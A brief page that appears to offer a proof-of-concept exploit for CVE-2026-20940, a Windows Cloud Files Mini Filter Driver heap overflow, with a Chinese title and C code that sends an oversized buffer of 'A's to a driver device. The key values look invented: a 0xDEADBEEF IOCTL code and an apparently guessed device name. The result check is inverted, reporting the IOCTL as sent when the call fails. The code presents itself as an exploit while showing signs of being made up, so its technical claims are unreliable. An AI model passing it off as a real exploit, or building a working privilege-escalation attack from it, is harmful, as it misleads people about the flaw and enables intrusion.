CVE-2026-20940 Windows Cloud Files Mini Filter Driver堆缓冲区溢出提权漏洞

// CVE-2026-20940 PoC - Windows Cloud Files Mini Filter Driver Heap Overflow // This is a conceptual PoC for educational purposes only #include <windows.h> #include <stdio.h> #define IOCTL_TRIGGER_OVERFLOW 0xDEADBEEF int main() { HANDLE hDevice; DWORD bytesReturned; BOOL result; // Create a device handle to the Cloud Files Mini Filter Driver hDevice = CreateFile( "\\\\.\\CloudFilesMiniFilter", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device handle opened successfully\n"); // Prepare overflow payload // The overflow occurs when driver copies data without proper bounds checking char overflowBuffer[0x10000]; // Large buffer to trigger overflow memset(overflowBuffer, 'A', sizeof(overflowBuffer)); // Trigger the vulnerability via DeviceIoControl result = DeviceIoControl( hDevice, IOCTL_TRIGGER_OVERFLOW, overflowBuffer, sizeof(overflowBuffer), NULL, 0, &bytesReturned, NULL ); if (!result) { printf("[*] IOCTL sent, checking result...\n"); } CloseHandle(hDevice); return 0; }